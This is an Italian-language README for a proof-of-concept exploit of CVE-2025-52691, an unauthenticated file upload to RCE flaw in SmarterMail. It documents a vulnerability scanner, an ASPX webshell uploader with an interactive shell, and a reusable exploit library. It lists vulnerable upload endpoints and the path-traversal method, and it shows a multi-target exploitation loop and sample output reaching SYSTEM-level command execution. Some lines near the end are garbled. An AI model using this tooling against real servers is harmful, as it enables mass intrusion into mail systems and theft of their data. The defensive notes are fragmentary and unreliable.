Exploit proof-of-concept per CVE-2025-52691: upload arbitrario di file non autenticato che porta a RCE in SmarterMail. Include scanner di vulnerabilità, uploader di webshell ASPX e shell interattiva per test di sicurezza autorizzati.
Prova di concetto per CVE-2025-52691 - SmarterMail Caricamento arbitrario di file non autenticato RCE
Solo per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato è illegale.
Vulnerabilità critica in SmarterMail che consente il caricamento arbitrario di file non autenticato tramite path traversal, portando a Remote Code Execution.
Vulnerabilità: Path traversal negli endpoint di upload consente il caricamento di webshell ASPX nella root web
Impatto: Remote Code Execution non autenticato
Vettore: Rete / Non autenticato
git clone https://github.com/yourusername/CVE-2025-52691-POC.git
cd CVE-2025-52691-POC
pip install requests urllib3
Scansiona i target per la vulnerabilità CVE-2025-52691. Salva solo gli URL vulnerabili nel file di output.
# Singolo target
python check.py https://mail.example.com
# Target multipli
python check.py -f targets.txt -o results.txt
# Timeout personalizzato
python check.py https://mail.example.com -t 30
Output: Un URL vulnerabile per riga in results.txt
Carica una webshell ASPX e fornisce l'esecuzione di comandi.
# Sfruttamento base
python pwn.py https://mail.example.com
# Esegui comando
python pwn.py https://mail.example.com -c "whoami"
# Shell interattiva
python pwn.py https://mail.example.com -i
Modulo di sfruttamento riutilizzabile per l'integrazione in script personalizzati.
Come libreria:
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
# Basic usage
config = TargetConfig(base_url="https://mail.example.com")
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
# With custom timeout
config = TargetConfig(base_url="https://mail.example.com", timeout=60)
exploit = SmarterMailExploit(config)
result = exploit.exploit()
# Execute multiple commands
if result == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
print(exploit.execute_command("hostname"))
print(exploit.execute_command("ipconfig"))
Come script indipendente:
# Import and run in Python
python -c "from exploit import *; e=SmarterMailExploit(TargetConfig('https://mail.example.com')); e.exploit()"
# Create custom script
cat << 'EOF' > my_exploit.py
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
targets = ['https://mail1.example.com', 'https://mail2.example.com']
for target in targets:
config = TargetConfig(base_url=target)
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(f"[+] Exploited: {target}")
print(exploit.execute_command("whoami"))
EOF
python my_exploit.py
Endpoint vulnerabili:
/api/upload
/api/v1/upload
/Interface/Frmx/UploadFile.aspx
/MRS/Upload.ashx
/Services/Upload.ashx
Metodi di sfruttamento:
../wwwroot/)Webshell: Shell ASPX minima che accetta comandi tramite il parametro ?cmd=
python check.py <target>python pwn.py <target> -iRilevamento:
../)/api/upload inatteseMitigazione:
$ python pwn.py https://mail.example.com -c "whoami"
[*] Target: https://mail.example.com
[+] Target is alive
[*] Shell filename: s4a7b3c2.aspx
[*] Attempting to upload webshell...
[+] SUCCESS! Webshell uploaded
[+] Shell URL: https://mail.example.com/s4a7b3c2.aspx
[*] Executing: whoami
[+] Output:
nt authority\system
Ottieni sempre l'autorizzazione appropriata prima di testare.